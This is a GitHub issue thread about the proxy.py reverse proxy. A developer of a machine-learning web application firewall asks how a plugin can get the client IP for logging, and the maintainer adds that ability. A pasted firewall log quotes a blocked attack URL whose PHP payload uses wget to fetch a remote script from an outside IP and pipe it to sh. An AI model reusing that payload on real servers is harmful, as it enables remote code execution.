Client ip address

[poerschke]

how can I get client ip in an plugin?
for example: i want to collect the client ip in reverse_proxy.py to send to elasticsearch

[abhinavsingh]

@poerschke There are a few header related utilities in the HttpParser class, which is essentially your request object.

https://github.com/abhinavsingh/proxy.py/blob/develop/proxy/http/parser/parser.py#L117-L153

You can use these methods to infer the client IP based upon remote ip or forwarder-for headers.

[poerschke]

@abhinavsingh Many thanks for the reply.

I'll try to explain what I'm doing, I developed a machine learning algorithm to create a Web Application Firewall with 99.91% accuracy, the WAF is already functional, now I want to log the requests, but I'm not able to collect the IP address that made the original request to reverse proxy.

	def handle_route(self, request: HttpParser, pattern: RePattern) -> Url:
		headers = request.headers
		from pprint import pprint
		pprint(vars(request))

request does not contain the IP that originated the request:

{'_content_expected': False,
 '_is_chunked_encoded': False,
 '_is_https_tunnel': False,
 '_url': <proxy.http.url.Url object at 0x7f9530f2a530>,
 'body': None,
 'buffer': None,
 'chunk': None,
 'code': None,
 'headers': {b'accept': (b'Accept', b'image/webp,*/*'),
             b'accept-encoding': (b'Accept-Encoding', b'gzip, deflate'),
             b'accept-language': (b'Accept-Language', b'en-US,en;q=0.5'),
             b'cache-control': (b'Cache-Control', b'max-age=0'),
             b'connection': (b'Connection', b'keep-alive'),
             b'cookie': (b'Cookie',
                         b'username-localhost-8888="2|1:0|10:1657716905|23:user'
                         b'name-localhost-8888|44:MGZkN2NkOTgzMzBhNDBiNjg5ZjliM'
                         b'TkzOTBkZjY4YmU=|de4d88f9789b83a20b1f4b5ff721e73295e3'
                         b'2f10acca8eac865bb55484033dbf"; _xsrf=2|f0793b79|4416'
                         b'6bd680fa8f6306508c5f07d23997|1657665029'),
             b'host': (b'Host', b'localhost'),
             b'if-modified-since': (b'If-Modified-Since',
                                    b'Tue, 05 Jul 2022 13:49:58 GMT'),
             b'if-none-match': (b'If-None-Match', b'"167a-5e30f20ceed80"'),
             b'referer': (b'Referer', b'http://localhost/'),
             b'sec-fetch-dest': (b'Sec-Fetch-Dest', b'image'),
             b'sec-fetch-mode': (b'Sec-Fetch-Mode', b'no-cors'),
             b'sec-fetch-site': (b'Sec-Fetch-Site', b'same-origin'),
             b'user-agent': (b'User-Agent',
                             b'Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/2'
                             b'0100101 Firefox/91.0')},
 'host': None,
 'method': b'GET',
 'path': b'/icons/openlogo-75.png',
 'port': 80,
 'protocol': None,
 'reason': None,
 'state': 6,
 'total_size': 726,
 'type': 1,
 'version': b'HTTP/1.1'}

Here i have the WAF log and proxy log:

[WAF] Header: CLEAN Host: 189.114.96.137:80
[WAF] Header: CLEAN User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36
[WAF] Header: CLEAN Connection: close
[WAF] Header: CLEAN Accept-Encoding: gzip
[WAF] URL: ATK /?a=fetch&content=<php>die(shell_exec("wget%20-q%20-O%20-%20178.20.40.200/tf.sh|sh"))</php>
2022-07-17 18:40:32,116 - pid:25562 [I] handler.handle_data:179 - HttpProtocolException: HttpRequestRejected b'Ataque detectado'
2022-07-17 18:40:32,116 - pid:25562 [D] tcp_server.handle_readables:212 - Implementation signaled shutdown for client 109.237.96.124:40290

I need collect the attacker IP: 109.237.96.124:40290 to send the request and attacker IP to elasticsearch...

[abhinavsingh]

@poerschke Thank you for highlighting this. Indeed, technique (header based) I told you assumes presence of certain header. They can be spoofed too. You need access to the client connection object, which has this information.

Unfortunately, currently I see we don't pass connection object to reverse proxy plugin base class. This is done for all other plugins (e.g. web server and proxy server plugins). E.g. see

proxy.py/proxy/http/server/plugin.py

Line 128 in b7706e0

class ReverseProxyBasePlugin(ABC):

, above in this same file we have another plugin base class, whose constructor gets the client conn object.

I'll convert this into a ticket. We'll add same facility to reverse proxy plugins too.

FWIW, we do have an open effort to enrich reverse proxy system. Ref #1219

[abhinavsingh]

@poerschke Once #1235 is merged, you should be able to use the client object within your reverse proxy plugin to access client side attributes. Please let me know if this still doesn't help. Best

[poerschke]

Hello @abhinavsingh, your merge works very well. Thank you so much.